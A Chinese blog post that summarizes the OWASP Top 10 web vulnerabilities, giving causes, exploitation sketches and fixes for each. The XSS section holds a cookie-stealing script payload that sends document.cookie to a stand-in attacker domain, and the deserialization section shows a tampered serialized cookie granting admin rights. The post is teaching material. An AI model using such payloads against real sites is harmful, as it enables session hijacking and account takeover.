OWASTOP10漏洞

最新推荐文章于 2025-06-17 16:37:34 发布

Sy嗣音

最新推荐文章于 2025-06-17 16:37:34 发布

阅读量380

点赞数

CC 4.0 BY-SA版权

文章标签：网络

本文链接：https://blog.csdn.net/qq_52471916/article/details/124160179

本文详细阐述了常见的Web应用安全风险，包括SQL注入、失效身份验证、敏感信息泄露、XML外部实体注入（XXE）、失效访问控制、安全配置错误、跨站脚本（XSS）和不安全的反序列化。针对这些风险，提出了相应的利用方式和修复措施，强调了对用户输入的验证、数据加密、访问控制和日志监控的重要性，旨在提高Web应用的安全防护能力。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

注入
- 如果用户输入一些代码语句而未被拦截，便可能会存在注入漏洞，如SQL注入。系统可能会将注入的语句当作数据库查询语句，让我们在没有权限的情况下可以读取数据库内容
- 原理
  - 用户数据没有被验证，过滤
  - 在没有使用context-aware escaping 的情况下，动态询问和非参数化调用被解释器直接使用
  - 恶意数据被直接使用到对象关系映射(object-relational mapping,ORM）中
  - 恶意数据被直接使用或拼接到指令上，导致SQL或命令中包含恶意数据
- 利用：我们可以尝试在URL区域内输入?id=1参数进行尝试，根据页面报错回显情况来判断是否存在SQL注入
- 修复
  - 对用户输入的语句进行过滤
  - 使用安全API，参数化的接口或ORM工具
  - 使用输入字符的白名单
  - 对特定的解释器，转义所有特殊字符。当数据库中表名包含特殊字符时不好用。
  - 使用 LIMIT等语句避免泄漏大量数据
失效身份验证和会话管理
- 应用中负责认证和会话管理的部分没有正确实现，使得攻击者得以泄露密码，口令或令牌，进而可能获取其他用户的身份。
- 原理
  - 允许自动化的攻击，如凭据填充（credential stuffing,撞库）攻击。
  - 允许爆破等攻击
  - 允许默认，弱，广为人知的密码
  - 使用弱，或无效的凭据恢复和忘记密码策略
  - 使用明文，加密或弱hash的密码
  - 使用损坏的或无效的多因子认证
  - 在URL中暴露会话ID
  - 在成功登录后没有轮换会话ID
  - 没有及时把会话ID，验证令牌等信息无效化。
- 利用：当用户登录之后如果只是关闭了浏览器没有退出，我们就可能再次利用浏览器缓存进行登录，或者进行cookie劫持，获取登录信息绕过登录验证
- 修复
  - 实现多因子认证以组织自动化攻击和凭据重用。
  - 避免使用默认密码
  - 进行弱密码检查
  - 对齐密码长度，复杂度
  - 确保注册，凭据恢复和API被加固以抵御账户枚举攻击
  - 限制或延迟失败的登录尝试，并记录所有失败尝试并在发动攻击时报警
  - 使用服务端，安全，内置的会话管理，确保对于每次登录生成随机会话ID。会话ID不应该在URL中，且应该及时销毁
敏感信息泄露
- 许多web应用和API没有很好地保护隐私数据，比如金融，医疗。攻击者可以偷取或修改这些数据，从而进行信用卡诈骗，身份窃取等。敏感数据在传输过程中应当使用额外的安全措施以避免泄露。
- 原理
  - 数据明文传输
  - 数据明文存储
  - 使用弱密码算法
  - 使用默认密钥，弱密钥，重用密钥
  - 没有强制使用安全措施
  - 用户终端没有验证接收到的服务器凭据是否有效
- 利用：攻击者将链接从https降为http，拦截用户发送的包，偷取其中cookie，进行重放攻击，劫持会话，从而获取用户隐私信息。他们也可以直接修改传输的包中的数据。
- 修复
  - 分类数据，确认哪些数据是敏感的
  - 按照分类控制数据
  - 尽量不存储敏感数据
  - 确保加密所有存储的敏感数据
  - 确保使用强的加密算法，使用合适的密钥管理
  - 确保传输的敏感信息加密
  - 包含敏感数据的响应不缓存
  - 使用强的，加盐的hash函数存储密码
  - 独立验证配置的有效性
XML外部实体注入攻击（XXE）
- 许多老版本或弱配置的XML解析器在处理XML文件内的外部实体时，会去运行其中的代码。外部实体可以使用文件URI关闭系统内部正在运行的文件，导致无法提供功能。
- 原理
  - 应用接受XML或XML上传，或向XML中插入了不可信数据。
  - XML解析器或基于SOAP的服务器启用了DTD(Document Type Definition,文档类型定义)
  - SAML（安全断言标记语言，基于XML的身份验证）被用于实体处理。
  - 使用1.2版本之前的SOAP，它可能易受XXE攻击，如果XLM被直接传给SOAP的话。
  - 易受XXE攻击的服务器会受到billion laughs attack之类的DoS攻击。
- 修复
  - 只要有可能，使用JSON之类的简单数据格式，不序列化敏感数据。
  - 及时打补丁，升级XML解释器以及使用的库。使用Dependency-check之类的工具。升级SOAP到1.2及更高
  - 在解析器中禁用XML外部实体和DTD
  - 使用服务端输入白名单，过滤，格式化来避免XML文件中的恶意数据
  - 验证XML和XSL文件上传功能中是否使用XSD（XML Schema Definition）及类似的验证功能
  - SAST工具能够帮助检测源码中的XXE
  - 使用虚拟补丁，API安全网关，WAF等手段
失效访问控制
- 认证用户权限的限制往往没有比较好地配置，这导致攻击者能够利用这些缺陷访问未授权的功能和数据。
- 原理
  - 通过修改URL，内部应用状态，HTML页面绕过访问控制检查
  - 允许查看和编辑其他用户的账号
  - 提权。
  - 元数据操纵，比如重放或伪造JWT token, cookie或隐藏的用于提权的域，或破坏JWT无效机制
  - CORS(Cross-Origin Resource Sharing)错误配置允许未授权的API访问
  - 强制浏览未授权的页面，API没有进行访问控制
- 利用：在浏览器中将acct修改为任意用户名即可实现攻击
- 修复
  - 除了公共资源外，默认禁止访问
  - 实现访问控制机制并在系统内到处重用，最小化CORS使用
  - 模型访问控制应该强制记录拥有权，而不是用户都能增删改查每一条记录
  - 禁止列出WEB服务器目录，确保元数据和备份文件不在根目录
  - 记录访问控制失效，合适时警告管理员
  - 限制访问API的频率，最小化自动攻击工具的损害
  - JWT token应该在登出后立刻失效
安全性错误配置
- 安全性错误配置是一种非常常见的问题，网站管理员往往会保留默认配置，这导致了很多安全性问题。系统，应用，框架，库不止应该被安全地配置，他们还应该被及时更新。
- 原理
  - 在应用栈中任意一处没有安全加固，云服务器授权没有正确配置
  - 非必要的特性被启用或安装
  - 默认账户和密码没有改变
  - 错误处理泄露出了栈追踪，或其他包含信息过多的错误消息被泄露给了用户
  - 可升级的系统中最新的安全特性没有被启用或正确配置
  - 应用服务器，应用框架，库，数据库中的安全设置没有被设为安全值。
  - 服务器没有发送安全头或指令，或是他们呢没有被正确设置
  - 软件过时了，易受攻击
- 利用：应用服务器中带有案例应用。这些应用中带有攻击者已知的安全漏洞，如果其中一个是admin命令行，默认账号没有修改，攻击者就可以控制服务器
- 修复
  - 可重复的加固程序，能够更快，更容易地部署环境。确保开发，QA,生产环境配置完全相同，但使用不同的凭据。这个程序应该自动化，以最小化安装安全环境地代价。
  - 最小的平台，不包含任何非必须地特性，组件，文档。
  - 包管理工具中检查并更新安全配置
  - 分段应用结构，使用分段，容器化，云安全组等手段分开组件和用户。
  - 发送安全指令到客户端
  - 使用自动化进程以验证所有环境中配置的有效性
Cross-Site-Scripting(XSS)
- XSS漏洞出现在当web页面包含不可信的数据，却没有合适的验证手段来找到它的时候。XSS使得攻击者能够在受害者的浏览器中执行脚本，从而劫持会话，或重定向到恶意站点。
- 原理
  - 反射型XSS：应用或API包括未验证的或非转义的用户输入作为HTML的输出的一部分。成功的攻击能够使得攻击者在受害者的浏览器上执行任意HTML和JavaScript。
  - 存储型XSS：应用或API存储未格式化的用户输入，且该输入之后会被其他用户或管理员浏览到。
  - DOM XSS：动态包含攻击者可控制数据到页面中的JavaScript框架，单页应用，API易受DOM XSS。
- 利用
  - (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; 将CC参数修改为
  - '><script>document.location= 'Attacker - The Domain Name Attacker.com is Now For Sale. foo='+document.cookie</script>'. 就会使得受害者的cookie被发送到攻击者的网站，进而劫持会话。
- 修复
  - 使用自动转义XSS的框架，比如React JS。学习每种框架的XSS保护，并手动处理用例没有覆盖到的部分。
  - 转义不可信的HTTP请求数据能够解决反射型和存储型XSS威胁。
  - 在客户端修改浏览器文档时应用内容敏感的编码以抵御DOM XSS。或使用相似的内容敏感转义技术。
  - 启用CSP(Content Security Policy)
不安全的反序列化
- 不安全的反序列化经常会导致远程代码执行。也能用于进行重放攻击，注入攻击，提权攻击。
- 原理
  - 对象和数据结构相关攻击：当存在类能够在反序列化过程中或是之后改变应用表现，攻击者就能通过这个类修改应用逻辑，或实现任意远程代码执行。
  - 典型数据篡改攻击：如访问控制相关攻击，当数据结构存在而内容又能被修改。
- 利用
  - a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
  - i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
  - 若某站点使用如上图数据结构保存cookie，我们可以将cookie修改为
  - a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
  - i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
  - 如果Alice是管理员，且密码为攻击者命中，攻击者就会得到管理员权限。
- 修复
  - 唯一的安全模式是不接受来自不可信的参与者的序列化对象。如果不得不接受，使用以下策略：
  - 对任何序列化对象进行完整性检测，比如数字签名以防止数据篡改或恶意对象。
  - 在反序列化过程中强制严格的类型限制。
  - 在低权限环境中独立运行反序列化代码
  - 记录反序列化异常和错误，比如收到的类型并不是期望的类型。
  - 限制或监管入的和出的来自反序列化的容器或服务器的网络链接
  - 监管反序列化，当用户一直反序列化时报警。
使用具有已知漏洞的组件
- 库，框架等软件组件和应用有着相同的权限。
- 原理
  - 管理员不知道使用的所有组件的版本，包括直接使用的和嵌套的
  - 软件易受攻击，不再支持，或是过时了。包括OS, web服务器，DBMS，APIs和所有组件，运行时环境，库。
  - 没有周期性扫描漏洞
  - 没有及时修复或升级平台，框架，依赖。
- 利用：大部分IoT设备很难被打补丁。
- 修复
  - 移除不再使用的依赖，不必须的特性，组件，文件，文档
  - 持续地列出目前之用的组件和依赖地版本，使用诸如DependencyCheck 之类的工具。持续关注CVE, NVD上的关于对应组件的漏洞。使用SCA(software composition analysis)自动化这个过程，订阅关于使用组件的邮件通知。
  - 只从官方来源得到组件
  - 关注不再维护的库和组件
日志记录和监控不足
- 日志和监控不足，再加上缺失或无效的事件响应，允许攻击者进一步攻击系统，他可以转向更多系统，进行篡改，提取，销毁数据。
- 原理
  - 可审计的事件，比如登录，登录失败没有被记录。
  - 警告和错误没有产生足够的，清晰的日志消息
  - 应用和API关于可疑活动的日志没有被监管。
  - 日志只本地存储
  - 没有设置合适的警告阈值和响应升级流程
  - 渗透测试和扫描工具没有触发警告。
  - 应用无法实时检测，或对攻击做出警告
- 利用
  - 用常用密码撞库，每个账户只登录失败一次，如果没有合适的报警机制就会忽视。
  - 恶意软件检测沙盒报警了很多次确没有引起重视
- 修复
  - 确保登录，访问控制失败，服务断输入验证失败等事件会被日志记录，同时记录足够多的用户上下文以确定可疑账号。保存足够长的时间以用于分析。
  - 确保日志以一定格式生成，便于日志管理。
  - 确保高额转账带有审计跟踪和完整性控制以避免篡改或删除
  - 建立有效的监管和报警机制，使得可疑活动被及时检测和响应。
  - 建立事件响应和恢复计划。